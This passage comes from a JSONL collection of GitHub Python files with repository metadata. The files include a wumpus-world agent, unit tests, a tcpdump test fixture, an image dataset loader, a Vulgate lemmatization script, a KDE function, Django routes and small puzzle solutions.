self.printing_matrix()\n        # -----------------------\n\n        print('Policy found after ', iter, ' iterations')\n\n\n    def printing_matrix(self):\n        first_row = []\n        second_row = []\n        third_row = []\n        fourth_row = []\n        for idx, (x, y) in enumerate(self.locations):\n\n            if y == 6:\n                first_row.append(((x, y), self.V[idx], self.pi[idx]))\n            if y == 7:\n                second_row.append(((x, y), self.V[idx], self.pi[idx]))\n            if y == 8:\n                third_row.append(((x, y), self.V[idx], self.pi[idx]))\n            if y == 9:\n                fourth_row.append(((x, y), self.V[idx], self.pi[idx]))\n\n        fourth_row = sorted(fourth_row)\n        third_row = sorted(third_row)\n        second_row = sorted(second_row)\n        first_row = sorted(first_row)\n\n        print(fourth_row)\n        print(third_row)\n        print(second_row)\n        print(first_row)\n\n    def get_policy(self):\n        pi_dict = {loc: self.pi[i] for i, loc in enumerate(self.locations)}\n        return pi_dict\n\n    def __call__(self, percept, loc):\n        self.loc = loc\n\n        # update the policy\n        # TODO PUT YOUR CODE HERE\n        self.percept = percept\n        self.visited_loc.append(loc)\n        self.prev_state = self.visited_loc[-2]\n        # obliczenie poprzedniej akcji na podstawie zmiany wspolrzednych\n        self.real_prev_action = 'S'\n        # N (0, 1)\n        # S (0, -1)\n        # E (1, 0)\n        # W (-1, 0)\n        if (loc[0]- self.prev_state[0], loc[1] - self.prev_state[1]) == (0, 1):\n            self.real_prev_action = 'N'\n        if (loc[0]- self.prev_state[0], loc[1] - self.prev_state[1]) == (0, -1):\n            self.real_prev_action = 'S'\n        if (loc[0]- self.prev_state[0], loc[1] - self.prev_state[1]) == (1, 0):\n            self.real_prev_action = 'E'\n        if (loc[0]- self.prev_state[0], loc[1] - self.prev_state[1]) == (-1, 0):\n            self.real_prev_action = 'W'\n        # gdy agent nie ruszy sie z miejsca\n        if (loc[0]- self.prev_state[0], loc[1] - self.prev_state[1]) == (0, 0):\n            self.real_prev_action = self.prev_action\n\n        # po wejsciu do lokacji z dolem, doanie lokacji do listy\n        if 'pit' in percept and loc not in self.pits_list:\n            self.pits_list.append(loc)\n\n        # znajdywanie miejsc w któchych prawdopodobnie jest pit\n        if ('breeze' in percept) and (loc not in self.breeze_list): # and (loc not in self.prob_pits_list):\n            self.breeze_list.append(loc)\n            moves = []\n\n            if self.real_prev_action == 'N':\n                moves = [(0, 1), (1, 0), (-1, 0)]\n            if self.real_prev_action == 'E':\n                moves = [(1, 0), (0, 1), (0, -1)]\n            if self.real_prev_action == 'S':\n                moves = [(0, -1), (1, 0), (-1, 0)]\n            if self.real_prev_action == 'W':\n                moves = [(-1, 0), (0, 1), (0, -1)]\n\n            for move in moves:\n                if (loc[0] + move[0], loc[1] + move[1]) in self.locations:\n                    self.prob_pits_list.append((loc[0] + move[0], loc[1] + move[1]))\n\n        # usuniecie lokalizacji jezeli zostala odwiedzona\n        for state in self.visited_loc:\n            if state in self.prob_pits_list:\n                self.prob_pits_list.remove(state)\n\n        # Jezeli do self.prob_pits_list zostanie dodana dwa razy ta sama lokalizacja to oznacza ze na 100% jest tam pit\n        set_prob_pits = set()\n        for prob_pit in self.prob_pits_list:\n            if prob_pit in set_prob_pits:\n                self.pits_list.append(prob_pit)\n                self.prob_pits_list.remove(prob_pit)\n                self.prob_pits_list.remove(prob_pit)\n            else:\n                set_prob_pits.add(prob_pit)\n\n        # znalezienie akcji przeciwej do poprzedniej akcji\n        oposite_action = 'S'\n        if self.real_prev_action == 'N':\n            oposite_action = 'S'\n        if self.real_prev_action == 'E':\n            oposite_action = 'W'\n        if self.real_prev_action == 'S':\n            oposite_action = 'N'\n        if self.real_prev_action == 'W':\n            oposite_action = 'E'\n\n        if 'bump' in self.percept:\n            self.bump_counter += 1\n        else:\n            self.bump_counter = 0\n        # jezeli bedzie 5 razy bump to zostanie wymuszona przeciwna akcja\n        if self.bump_counter == 5:\n            action = oposite_action\n            return action\n\n        self.comp_value_and_policy()\n\n       # -----------------------\n\n        # choose action according to policy\n        action = self.pi[self.loc_to_idx[self.loc]]\n        self.prev_action = action\n\n        return action\n\n    def forward(self, cur_loc, cur_dir):\n       if cur_dir == 'N':\n           ret_loc = (cur_loc[0], cur_loc[1] + 1)\n       elif cur_dir == 'E':\n           ret_loc = (cur_loc[0] + 1, cur_loc[1])\n       elif cur_dir == 'W':\n           ret_loc = (cur_loc[0] - 1, cur_loc[1])\n       elif cur_dir == 'S':\n           ret_loc = (cur_loc[0], cur_loc[1] - 1)\n       ret_loc = (min(max(ret_loc[0], 0), self.size - 1), min(max(ret_loc[1], 0), self.size - 1))\n       return ret_loc, cur_dir\n\n    def backward(self, cur_loc, cur_dir):\n       if cur_dir == 'N':\n           ret_loc = (cur_loc[0], cur_loc[1] - 1)\n       elif cur_dir == 'E':\n           ret_loc = (cur_loc[0] - 1, cur_loc[1])\n       elif cur_dir == 'W':\n           ret_loc = (cur_loc[0] + 1, cur_loc[1])\n       elif cur_dir == 'S':\n           ret_loc = (cur_loc[0], cur_loc[1] + 1)\n       ret_loc = (min(max(ret_loc[0], 0), self.size - 1), min(max(ret_loc[1], 0), self.size - 1))\n       return ret_loc, cur_dir\n\n    @staticmethod\n    def turnright(cur_loc, cur_dir):\n       dir_to_idx = {'N': 0, 'E': 1, 'S': 2, 'W': 3}\n       dirs = ['N', 'E', 'S', 'W']\n       idx = (dir_to_idx[cur_dir] + 1) % 4\n       return cur_loc, dirs[idx]\n\n    @staticmethod\n    def turnleft(cur_loc, cur_dir):\n       dir_to_idx = {'N': 0, 'E': 1, 'S': 2, 'W': 3}\n       dirs = ['N', 'E', 'S', 'W']\n       idx = (dir_to_idx[cur_dir] + 4 - 1) % 4\n       return cur_loc, dirs[idx]\n","repo_name":"Skwarson96/Sztuczna_inteligencja_projekt_2","sub_path":"agents/prob.py","file_name":"prob.py","file_ext":"py","file_size_in_byte":10446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38170255910","text":"import unittest\nimport myDownload\nimport timeit\n\n\nclass TestmyDownloads(unittest.TestCase):\n\n    def testZeroFiles(self):\n        raised = False\n        try:\n            url_links = myDownload.get_links(\"cnn\", 0)\n            myDownload.fetch_pdfs(url_links, 10)\n        except:\n            raised = True\n        self.assertFalse(raised, \"Exception raised when number of file is 0\")\n\n    def testDownloadingTenFilesisSlowerthanDownloadingOneFile(self):\n        start_oneFile = timeit.default_timer()\n        url_links = myDownload.get_links(\"cnn\", 1)\n        myDownload.fetch_pdfs(url_links, 1)\n        stop_oneFile = timeit.default_timer()\n        time1 = stop_oneFile - start_oneFile\n        print(\"Time for downloading 1 file: \", time1)\n\n        start_TenFile = timeit.default_timer()\n        url_links = myDownload.get_links(\"cnn\", 10)\n        myDownload.fetch_pdfs(url_links, 1)\n        stop_TenFile = timeit.default_timer()\n        time2 = stop_TenFile - start_TenFile\n        print(\"Time for downloading 10 file: \", time2)\n        self.assertGreater(time2, time1, \"Error: Downloading one file is slower than that of downloading ten files\")\n\n    def testDownloadinginOneThreadisSlowerthanDownloadinginTenThread(self):\n        start_oneThread = timeit.default_timer()\n        url_links = myDownload.get_links(\"cnn\", 10)\n        myDownload.fetch_pdfs(url_links, 1)\n        stop_oneThread = timeit.default_timer()\n        time1 = stop_oneThread - start_oneThread\n        print(\"Time for downloading in 1 thread: \", time1)\n\n        start_tenThread = timeit.default_timer()\n        url_links = myDownload.get_links(\"cnn\", 10)\n        myDownload.fetch_pdfs(url_links, 10)\n        stop_tenThread = timeit.default_timer()\n        time2 = stop_tenThread - start_tenThread\n        print(\"Time for downloading in 10 threads: \", time2)\n        self.assertGreater(time1, time2, \"Error: Downloading in ten thread is slower than that of downloading in ten threads\")\n\nif __name__ == '__main__':\n    unittest.main()\n\n","repo_name":"ymu5/Fetch-PDF-from-arXiv","sub_path":"UnitTest.py","file_name":"UnitTest.py","file_ext":"py","file_size_in_byte":2005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29043408787","text":"# -*- coding: utf-8 -*-\nimport re\nimport sys\nimport pytest\n\nfrom balancer.test.util import multiscope\nfrom balancer.test.util.context import ManagerFixture\n\nfrom balancer.test.util.tcpdump import TcpdumpManager, tcpdump_prefix\nfrom balancer.test.util.process import call\n\n\npytest_plugins = [\n    'balancer.test.plugin.settings',\n    'balancer.test.plugin.fs',\n    'balancer.test.plugin.resource',\n    'balancer.test.plugin.process',\n]\n\n\n__DEV = re.compile(r'\\d+\\.([^\\s]+).*')\n\n\n@pytest.fixture(scope='session')\ndef __skip_tcpdump(settings, logger):\n    result = None\n    try:\n        result = call(tcpdump_prefix(settings) + ['-D'], logger)\n    except OSError:\n        return True\n    logger.info('tcpdump stdout: {}'.format(result.stdout))\n    logger.info('tcpdump stderr: {}'.format(result.stderr))\n    devices = list()\n    for line in result.stdout.splitlines():\n        devices.append(__DEV.match(line).groups()[0])\n    for dev in devices:\n        # ubuntu 16.04 fix\n        if dev.startswith('lo '):\n            return False\n    iface = \"lo\"\n    # OS X could run tcpdump on lo0 without sudo\n    if sys.platform == \"darwin\":\n        iface = \"lo0\"\n\n    return iface not in devices\n\n\n@multiscope.fixture(pytest_fixtures=['logger', 'settings', '__skip_tcpdump'])\ndef tcpdump_manager(resource_manager, logger, fs_manager, settings, __skip_tcpdump):\n    return TcpdumpManager(resource_manager, logger, fs_manager, settings, skip=__skip_tcpdump)\n\n\nMANAGERS = [ManagerFixture('tcpdump', 'tcpdump_manager')]\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"balancer/test/plugin/tcpdump/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14593487287","text":"import pickle\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass TrafficSignData(object):\n    def __init__(self, path=\"./data/\", demo_mode=False):\n        self.demo_mode = demo_mode\n        self._load_data(path)\n        if self.demo_mode:\n            self._show_examples()\n        self._extract_properties()\n        self._normalize_input_data()\n        self._balance_training_data()\n        self._extract_properties()  # Repeat due to updated data.\n\n    def _load_data(self, path):\n        from os.path import join\n        self.X_train, self.y_train = self._load_pickled_file(join(path, \"train.p\"))\n        self.X_valid, self.y_valid = self._load_pickled_file(join(path, \"valid.p\"))\n        self.X_test, self.y_test = self._load_pickled_file(join(path, \"test.p\"))\n\n    def _load_pickled_file(self, file_path):\n        with open(file_path, mode='rb') as f:\n            data = pickle.load(f)\n            return data['features'], data['labels']\n\n    def _show_examples(self):\n        \"\"\"\n        Show examples of each image class/label\n        \"\"\"\n        labels, label_indices, label_counts = np.unique(self.y_train, return_index=True, return_counts=True)\n        plt.figure(figsize=(15, 20))\n        for idx in range(len(labels)):\n            ax = plt.subplot(9, 5, idx + 1)\n            ax.imshow(self.X_train[label_indices[idx]])\n            ax.axis('off')\n            ax.set_title(f\"label {labels[idx]}: {label_counts[idx]} images\")\n\n        plt.show()\n\n    def _extract_properties(self):\n        # Number of training examples\n        self.n_train = len(self.y_train)\n\n        # Number of validation examples\n        self.n_valid = len(self.y_valid)\n\n        # Number of testing examples.\n        self.n_test = len(self.y_test)\n\n        # Shape of an traffic sign image\n        self.image_shape = self.X_train[0].shape\n\n        # Find list of all labels and count of each label in the training set\n        labels, _, label_counts = np.unique(self.y_train, return_index=True, return_counts=True)\n\n        # How many unique classes/labels there are in the dataset.\n        self.n_classes = len(labels)\n\n        # Weights punishing classes with many training examples.\n        self.class_weights = np.log(self.n_train / np.max((label_counts, np.ones(label_counts.shape)), axis=0)) + 1.\n\n        if self.demo_mode:\n            print(\"Number of training examples =\", self.n_train)\n            print(\"Number of validation examples =\", self.n_valid)\n            print(\"Number of testing examples =\", self.n_test)\n            print(\"Image data shape =\", self.image_shape)\n            print(\"Number of classes =\", self.n_classes)\n\n    def _normalize_input_data(self):\n        raw_image = np.copy(self.X_train[0])\n        self.X_train = self._normalize_images(self.X_train)\n        self.X_valid = self._normalize_images(self.X_valid)\n        self.X_test = self._normalize_images(self.X_test)\n\n        if self.demo_mode:\n            # Plot histogram before and after normalization for one image and color channel\n            # to check that the result seems reasonable.\n            plt.figure(figsize=(15, 10))\n\n            # Raw image\n            ax = plt.subplot(2, 2, 1)\n            # Make sure pixel values are in the middle of each bin to avoid numerical errors.\n            raw_hist_range = (-0.5, 255.5)\n            raw_hist, _, _ = ax.hist(raw_image[:, :, 0].flatten(), bins=256, range=raw_hist_range)\n            ax.axis([raw_hist_range[0], raw_hist_range[1], 0, np.max(raw_hist) + 5])\n            ax.set_title(\"Raw image histogram\")\n\n            # Normalized image\n            ax = plt.subplot(2, 2, 2)\n            norm_hist_range = ((raw_hist_range[0] - 128.) / 128., (raw_hist_range[1] - 128.) / 128.)\n            norm_hist, _, _ = ax.hist(self.X_train[0][:, :, 0].flatten(), bins=256, range=norm_hist_range)\n            ax.axis([norm_hist_range[0], norm_hist_range[1], 0, np.max(norm_hist) + 5])\n            ax.set_title(\"Normalized image histogram\")\n            assert(np.array_equal(raw_hist, norm_hist))\n\n            ax = plt.subplot(2, 2, 3)\n            ax.imshow(raw_image)\n            ax.set_title(\"Raw image\")\n            ax = plt.subplot(2, 2, 4)\n            ax.imshow(self.X_train[0])\n            ax.set_title(\"Normalized image\")\n            plt.show()\n\n    def _normalize_images(self, images):\n        \"\"\"\n        Normalize 8 bit input images to range -1.0 to 1.0.\n        \"\"\"\n        result = []\n        for image in images:\n            assert(image.max() <= 255)\n            assert(image.min() >= 0)\n            result.append(np.divide(np.subtract(image, 128.0), 128.0))\n\n        return np.array(result)\n\n    def _balance_training_data(self):\n        \"\"\"Balance training data by oversampling.\n\n        Replicate images from classes with few examples such that all gets the same count.\n        \"\"\"\n        sorting_indices = np.argsort(self.y_train)\n        self.y_train = self.y_train[sorting_indices]\n        self.X_train = self.X_train[sorting_indices]\n\n        labels, label_indices, label_counts = np.unique(self.y_train, return_index=True, return_counts=True)\n        max_count = np.max(label_counts).astype(np.float64)\n        balanced_y_train = np.array([])\n        balanced_X_train = np.empty((1, 32, 32, 3))\n        for label, idx, count in zip(labels, label_indices, label_counts):\n            # labels\n            tiled = np.tile(self.y_train[idx: idx + count], np.ceil(max_count / count).astype(np.int))\n            tiled = tiled[:max_count.astype(np.int)]\n            balanced_y_train = np.concatenate((balanced_y_train, tiled))\n\n            # images\n            tiled = np.tile(self.X_train[idx: idx + count, :, :, :],\n                            (np.ceil(max_count / count).astype(np.int), 1, 1, 1))\n            tiled = tiled[:max_count.astype(np.int), :, :, :]\n            balanced_X_train = np.concatenate((balanced_X_train, tiled), axis=0)\n\n        self.y_train = balanced_y_train\n        self.X_train = balanced_X_train[1:, :, :, :]\n        if self.demo_mode:\n            # Show that there now is an equal number of images per class.\n            self._show_examples()\n\n    def shuffle_training_data(self):\n        from sklearn.utils import shuffle\n        self.X_train, self.y_train = shuffle(self.X_train, self.y_train)\n","repo_name":"misaksson/self_driving_car_nd","sub_path":"term1/P2-Traffic-Sign-Classifier/src/TrafficSignData.py","file_name":"TrafficSignData.py","file_ext":"py","file_size_in_byte":6262,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"29182231617","text":"from __future__ import unicode_literals\n\nimport yp.client\nimport yp.data_model\nfrom infra.release_controller.src import release_selector\nfrom infra.release_controller.src.lib import pbutil\nfrom infra.release_controller.tests.helpers import helpers\n\n\ndef _process_release(yp_client, release_id):\n    processing = yp.data_model.TReleaseProcessing()\n    pbutil.set_condition_success(processing.finished, 'OK')\n    yp_client.update_release_status_processing(release_id, processing)\n\n\ndef test_release_selector(yp_env):\n    release_count = 5\n    batch_size = 2\n    expected_release_ids = []\n    for i in xrange(release_count):\n        release_id = 'test-release-{}'.format(i)\n        release = helpers.make_sandbox_release_dict(release_id=release_id)\n        yp_env.create_object(yp.data_model.OT_RELEASE, attributes=release)\n        expected_release_ids.append(release_id)\n    yp_client = helpers.make_yp_client(yp_env)\n    selector = release_selector.NotProcessedReleaseBatchSelector(\n        yp_client=yp_client,\n        batch_size=batch_size\n    )\n    batch_lens = []\n    release_ids = []\n    while True:\n        _, _, b = selector.select_next_batch()\n        if not b:\n            break\n        for r in b:\n            _process_release(yp_client, r.meta.id)\n            release_ids.append(r.meta.id)\n        batch_lens.append(len(b))\n    assert [2, 2, 1] == batch_lens\n    assert expected_release_ids == release_ids\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"infra/tests/integration/test_release_selector.py","file_name":"test_release_selector.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23286418821","text":"import os\nimport openai\n\nfrom dotenv import load_dotenv\nload_dotenv()\n\nopenai.api_key = os.getenv(\"OPENAI_API_KEY\")\n\nprompt = \"\"\"\n### Postgres SQL tables, with their properties:\n#\n# Employee(id, name, department_id)\n# Department(id, name, address)\n# Salary_Payments(id, employee_id, amount, date)\n#\n### A query to list the names of the departments which employed more than 10 employees in the last 3 months\nSELECT\n\"\"\"\n\nif __name__ == '__main__':\n  response = openai.Completion.create(\n    model=\"code-davinci-002\",\n    prompt=prompt,\n    temperature=0,\n    max_tokens=256,\n    top_p=1,\n    frequency_penalty=0.0,\n    presence_penalty=0.0,\n    stop=[\"#\", \";\"]\n  )\n\n  print(response[\"choices\"][0][\"text\"])\n#     d.name\n# FROM\n#     Department d\n#     INNER JOIN Employee e ON d.id = e.department_id\n#     INNER JOIN Salary_Payments sp ON e.id = sp.employee_id\n# WHERE\n#     sp.date >= DATE_SUB(CURDATE(), INTERVAL 3 MONTH)\n# GROUP BY\n#     d.name\n# HAVING\n#     COUNT(e.id) > 10","repo_name":"intelligencegear/gpt-learn","sub_path":"nl2sql_codex.py","file_name":"nl2sql_codex.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"42289783943","text":"n=int(input())\na=list(map(int,input().split()))\na=a[::-1]\n\nres=a[0];temp=a[0]\n\nfor i in range(1,n):\n     if a[i]<temp:\n          res+=a[i]\n          temp=a[i]\n     else:\n          if temp-1>0:\n               res+=(temp-1)\n               temp=temp-1\nprint(res)\n","repo_name":"Shovon588/Programming","sub_path":"Codeforces with Python/1139B. Chocolates.py","file_name":"1139B. Chocolates.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"6752366102","text":"#Importing the required modules\nimport numpy as np\nfrom sklearn.neighbors import KernelDensity\nfrom astropy.coordinates import SkyCoord\n\n#Defining a KDE function to quickly compute probabilities for the data set\ndef generate_KDE(inputs, ker, selection = None, bw_multiplier=10):\n    \"\"\"\n    NAME:\n        generate_KDE\n    \n    PURPOSE:\n        Given an NxM matrix for inputs and one of six avaliable ker strings, \n        outputs a function `input_DKE` that treats the density estimate as a \n        black box function that can be sampled.\n    \n    INPUT:\n        inputs (ndarray) = An NxM matrix where N is the number of data \n                           points and M is the number of parameters.\n        ker (string) = One of the 6 avaliable kernel types (gaussian, \n                       tophat, epanechnikov, exponential, linear, cosine).\n        selection = a selection function that takes parallax to Sun and returns\n                    fraction of stars that are left after selection;\n                    takes array; takes parallax in physical units\n    \n    OUTPUT:\n        input_KDE (function) = A blackbox function for the density estimate\n                               used for sampling data.\n                               \n    HISTORY:\n        2018-07-15 - Updated - Ayush Pandhi\n    \"\"\"\n    #Scaling velocities with z-score\n    inputs_std = np.nanstd(inputs, axis=0)\n    i1, i2, i3, i4, i5, i6 = np.mean(inputs, axis=0)\n    inputs_mean = np.hstack((i1, i2, i3, i4, i5, i6))\n    inputs = (inputs - inputs_mean)/inputs_std\n    \n    #Optimizing bandwidth in terms of Scott's Multivariate Rule of Thumb\n    N = inputs.shape[0]\n    bw = bw_multiplier * np.nanstd(inputs) * N ** (-1/10.)\n    \n    #Fit data points to selected kernel and bandwidth\n    kde = KernelDensity(kernel=ker, bandwidth=bw).fit(inputs)  \n    \n    def input_KDE(samples):\n        \"\"\"\n        NAME:\n            input_KDE\n    \n        PURPOSE:\n            Given a QxM matrix for samples, evaluates the blackbox density\n            estimate function at those points to output a 1xQ array of \n            density values.\n    \n        INPUT:\n            samples (ndarray) = A QxM matrix where Q is the number of points \n                                at which the kde is being evaluated and M is \n                                the number of parameters.\n                                \n        OUTPUT:\n            dens (ndarray) = A 1xQ array of density values for Q data points.\n                               \n        HISTORY:\n            2018-07-15 - Updated - Ayush Pandhi\n        \"\"\"\n        if selection is not None:\n            #compute parallax in physical units. Inputs are in natural units.\n            x, y, z, vx, vy, vz = samples.T\n            #distannce to sun; compute sqrt in natural unit; times 8 to turn to\n            #physical\n            distance = 8.*np.sqrt((x-(-1.03749451))**2 + y**2 + (z-0.000875)**2)\n            parallax = 1/distance\n            # convert cartesian galactocentric to galactic\n            gal = SkyCoord(x=8.*x, y=8.*y, z=8.*z, unit=\"kpc\",\n                                frame=\"galactocentric\").galactic\n            b = gal.b.degree\n        \n        #Scaling samples with standard deviation\n        samples = (samples - inputs_mean)/inputs_std\n        \n        #Get the log density for selected samples and apply exponential to get normal probabilities\n        log_dens = kde.score_samples(samples)\n        dens = np.exp(log_dens)\n        \n        #Return a 1xQ array of normal probabilities for the selected sample\n        if selection is None:\n            return dens\n        else:\n            # divide by selection fraction only when selection function is given\n            return dens/selection(parallax, b)\n    \n    #Return a black box function for sampling\n    return input_KDE\n","repo_name":"mwbub/Gaia-I3","sub_path":"Code/kde/kde_function.py","file_name":"kde_function.py","file_ext":"py","file_size_in_byte":3809,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"72489762322","text":"from django.urls import path\nfrom .views import (\n    ProductListView,\n    ProductDetailView, \n    ProductCreateView, \n    ProductUpdateView,\n    ProductDeleteView,\n    CategoryProductListView,\n    UserProductListView,\n    ProductRenewView\n    )\n# import current app views to define its routes\nfrom . import views\n\n\n# define routes for this particular app\nurlpatterns = [\n    # 'name' argument helps to refer to this route on other sections of the project, like the template for example\n    # This class based view will look for a template with the pattern <app>/<model>_<viewtype>.html by default\n    path('', ProductListView.as_view(), name='store_home'),\n\n    path('category/<str:category>/', CategoryProductListView.as_view(), name='category_products'),\n    path('user_products/<str:username>/', UserProductListView.as_view(), name='user_products'),\n\n    # Explicity grabs the Primary Key from the ListView and passes it through the URL in order to show the details of a particular object\n    path('product/<int:pk>/', ProductDetailView.as_view(), name='product_detail'),\n    path('product/new/', ProductCreateView.as_view(), name='product_create'),\n    path('product/<int:pk>/update/', ProductUpdateView.as_view(), name='product_update'), \n    path('product/<int:pk>/delete/', ProductDeleteView.as_view(), name='product_delete'), \n    path('product_renewal/<int:pk>/', ProductRenewView.as_view(), name='product_renewal'),\n\n    # Route to a regular function based view\n    path('about/', views.about, name='store_about'),\n]","repo_name":"anlsergio/dealwithit","sub_path":"store/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7529654962","text":"\"\"\"\nAuthor: Opoola Paul\nDate: June 2019\nprogram function: Prints Calendar of inputed year\n---------------------------------------------------------------------------------------\nTYPE IN THE YEAR (as 2019, 2002, 1893 etc) AND IT PRINTS THE CALENDAR FOR THE WHOLE YEAR\n----------------------------------------------------------------------------------------\n\"\"\"\nimport calendar\n\n\ndef CreateCalendar(year):\n    for month in range(1,13):\n        print(calendar.month(year,month))\nchecking = True\nwhile checking:\n    try:\n        year_input = int(input('Which Calender Year do you wish to see: '))\n        print('This is the Calendar for year {}'.format(year_input))\n        CreateCalendar(year_input)\n        year_input2 =str(input('Do you want to see the calendar for another year ?, Y or N ?')).lower()\n        if year_input2[0] == 'y':\n            checking = True\n        else:\n            print('Thanks!!!')\n            checking = False\n\n    except:\n        print('Enter a Valid Year input, eg \"2019\"')\n","repo_name":"paulopoola/study-projects","sub_path":"Calendar.py","file_name":"Calendar.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"13643470747","text":"\nimport tqdm\nimport collections\nimport os\n\nfrom lxml import etree\n\n\ndef get_doc_id(tree):\n    return tree.find('//div1').attrib['n'] + '-' + tree.find('//div2').attrib['n']\n\n\ndef get_verses(tree, f):\n    for milestone in tree.xpath('//*[local-name() = \"milestone\"]'):\n        if not milestone.tail.strip():\n            s = milestone.getnext()\n            assert s.tag == 's', s.tag\n            text = s.text\n        else:\n            text = milestone.tail\n\n        assert text\n\n        yield milestone.attrib['n'], ' '.join(text.strip().split())\n\n\ndef read_vulgate(path='output/vulgate/source', remove_chars='%;*'):\n    by_doc_id = collections.defaultdict(dict)\n    for f in os.listdir(path):\n        if not f.endswith('xml'):\n            continue\n        with open(os.path.join(path, f)) as fn:\n            tree = etree.fromstring(fn.read().encode('utf-8')).getroottree()\n        doc_id = get_doc_id(tree)\n        for idx, verse in get_verses(tree, f):\n            # some verses are missing from the original...\n            if verse == '[]':\n                continue\n            processed = []\n            for w in verse.split():\n                w_ = w\n                for char in remove_chars:\n                    w_ = w_.replace(char, '')\n                if not w_:\n                    w_ = w\n                processed.append(w_)\n            by_doc_id[doc_id][idx] = ' '.join(processed)\n\n    return by_doc_id\n\n\nif __name__ == '__main__':\n    import argparse\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--source', default='output/vulgate/source')\n    parser.add_argument('--target', default='output/vulgate.csv')\n    parser.add_argument('--device', default='cpu')\n    parser.add_argument('--abbrev', default='latin.abbrv')\n    parser.add_argument('--pie-path')\n    parser.add_argument('--treetagger-dir')\n    args = parser.parse_args()\n\n    from cc_patrology.plumbing import tagging\n\n    # set models\n    piemodel = ttmodel = None\n    if args.pie_path:\n        import pie\n        piemodel = pie.SimpleModel.load(args.pie_path)\n        piemodel.to(args.device)\n    if args.treetagger_dir:\n        import treetaggerwrapper\n        ttmodel = treetaggerwrapper.TreeTagger(\n            TAGDIR=args.treetagger_dir,\n            TAGLANG='la',\n            TAGOPT='-token -lemma -sgml -quiet -cap-heuristics',\n            # TAGINENCERR='strict',\n            TAGABBREV=args.abbrev)\n\n    with open(args.target, 'w') as f:\n        for doc_id, verses in tqdm.tqdm(list(read_vulgate(path=args.source).items())):\n            book, chapter = doc_id.split('-')\n            for verse_id, verse in verses.items():\n                line = [book, chapter, str(verse_id)]\n                # tree-tagger\n                if ttmodel is not None:\n                    data = tagging.process_treetagger(ttmodel, verse)\n                    verse = ' '.join(data['token'])  # and use it for other lemmatizer\n                    line.append(' '.join(verse))\n                    lemmas, pos = data['lemma'], data['pos']\n                    lemmas = [lem if lem != '<unknown>' else '$unk$' for lem in lemmas]\n                    line.append(' '.join(pos))\n                    line.append(' '.join(lemmas))\n                    assert len(verse.split()) == len(lemmas) == len(pos)\n                # pie lemmatizer\n                if piemodel is not None:\n                    lemmas = tagging.lemmatize_pie(\n                        piemodel, verse.split(), device=args.device)\n                    line.append(' '.join(lemmas))\n                    assert len(lemmas) == len(verse.split())\n\n                f.write('\\t'.join(line) + '\\n')\n","repo_name":"emanjavacas/cc-patrology","sub_path":"cc_patrology/plumbing/process_vulgate.py","file_name":"process_vulgate.py","file_ext":"py","file_size_in_byte":3620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36661771231","text":"import pygame\nfrom pygame.sprite import Sprite\n\nclass Special_Ship(Sprite):\n\n    def __init__(self,screen, sprite_sheet):\n        super(Special_Ship, self).__init__()\n        self.screen = screen\n        self.sprite_sheet = sprite_sheet\n        self.sprite_pos_sheet = 0\n        self.rect = pygame.Rect(sprite_sheet.cell_list[0])\n        self.sprite_crop = sprite_sheet.cell_list[self.sprite_pos_sheet]\n        self.speed = 5.0\n\n    def movement(self):\n        self.rect.x += self.speed\n\n    def blit_special_ship(self):\n        self.screen.blit(self.sprite_sheet.sheet, self.rect, self .sprite_crop)\n","repo_name":"BryanCastro/CPSC-386","sub_path":"Space Invaders/special_ship.py","file_name":"special_ship.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"43972136753","text":"\ndef run(data):\n    numlines = len(data)\n    offsets = []\n    for line in data:\n        offsets.append(int(line))\n\n    i = 0\n    steps = 0\n    while (i >= 0) and (i < numlines):\n        offsets[i] = offsets[i] + 1\n        i += offsets[i] - 1\n        steps += 1\n    print('num steps to escape part one is '+str(steps))\n\ndef run2(data):\n    numlines = len(data)\n    offsets = []\n    for line in data:\n        offsets.append(int(line))\n\n    i = 0\n    steps = 0\n    while (i >= 0) and (i < numlines):\n        change = 1\n        if offsets[i] >= 3:\n            change = -1\n        offsets[i] = offsets[i] + change\n        i += offsets[i] - change\n        steps += 1\n    print('num steps to escape part two is '+str(steps))\n\n\nif __name__ == '__main__':\n    print('--- Advent of Code 2017: Day 05 ---')\n    data = open('input1.txt').readlines()\n    run(data)\n    run2(data)\n","repo_name":"seefdogg/adventOfCode2017","sub_path":"day05/day05.py","file_name":"day05.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
